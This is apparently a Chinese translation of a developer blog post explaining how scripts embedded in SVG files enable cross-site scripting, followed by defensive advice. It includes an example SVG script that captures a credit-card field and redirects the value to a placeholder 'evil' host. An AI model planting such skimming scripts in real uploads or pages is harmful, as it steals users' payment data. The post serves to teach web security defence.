SVG 为何如此危险
可缩放矢量图形 (SVG) 是一种 XML 文档,它将图像描述为数学公式。因此,浏览器使用这些公式绘制的图像在任何尺寸下都不会损失质量。
以下是描述绿色圆圈的简单 SVG 文档的内容:
<svg xmlns="http://www.w3.org/2000/svg">
<circle cx="40" cy="40" r="24" style="stroke:#006600; fill:#00cc00"/>
</svg>
虽然 SVG 相较于基于光栅的图像格式具有某些优势,例如可扩展性、交互性、可编辑性和较小的文件大小,但 SVG 也可能被用于某些邪恶目的。👿
由于 SVG 拥有自己的文档对象模型 (DOM),就像 HTML 文档一样,它们可以充当交互式文档。怎么做到的?其实很简单——任何人都可以编写一些 JavaScript 代码:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('I can do evil things...');</script>
<circle cx="40" cy="40" r="24" style="stroke:#006600; fill:#00cc00"/>
</svg>
如果我们用浏览器打开这个 SVG 文档,我们可以看到 JavaScript 立即执行。警报甚至会阻止浏览器渲染圆圈。
虽然在 SVG 中添加 JS 本身并不危险,但了解如何利用它们很重要。
设想一下这样的场景:一个论坛允许任何用户上传 SVG 格式的个人资料图片。黑客可以添加一个脚本来检索 cookie/存储信息,并强制浏览器重定向到他们自己的服务器,并传入包含检索数据的查询参数。如果这张 SVG 个人资料图片嵌入到网站上,并且被任何人查看,那么该恶意脚本就会在用户意识到发生了什么之前运行。这种攻击是一种跨站脚本 (XSS),其利用的可能性有很多:
<h3>Enter Your Payment Info</h3>
<input id="credit-card">
<div class="customer-pic">
<svg xmlns="http://www.w3.org/2000/svg">
<script>
const evilSite = 'http://www.an-evil-site.com';
const ccInput = document.querySelector('#credit-card');
ccInput.onchange = () => {
window.location.href = `${evilSite}?cc=${ccInput.value}`;
};
</script>
<circle cx="40" cy="40" r="24"></circle>
</svg>
</div>
让我们就此打住,先明确一个大问题——当 SVG 实现为图像标签或 CSS 背景图像源时,浏览器将不会执行 SVG 中嵌入的任何 JavaScript。因此,以下实现是安全的:
<img src="./circle.svg">
div {
background-image: url("./circle.svg");
}
但如果这些木马 SVG 被直接嵌入或通过 iframe 添加,那么糟糕的事情就会发生。🚨
那么如何才能防范这种恶意攻击呢?
- 不允许从不受信任的来源上传 SVG。
- 考虑使用内容安全策略 (CSP) 来防止 XSS。
- 不要在客户端存储敏感数据。
- 使用安全框架来捕获敏感的客户端输入。
在我的博客jsbits-yo.com上查看更多 #JSBits 。或者在Twitter上关注我!
文章来源:https://dev.to/js_bits_bill/how-svgs-can-be-dangerous-js-bits-mjh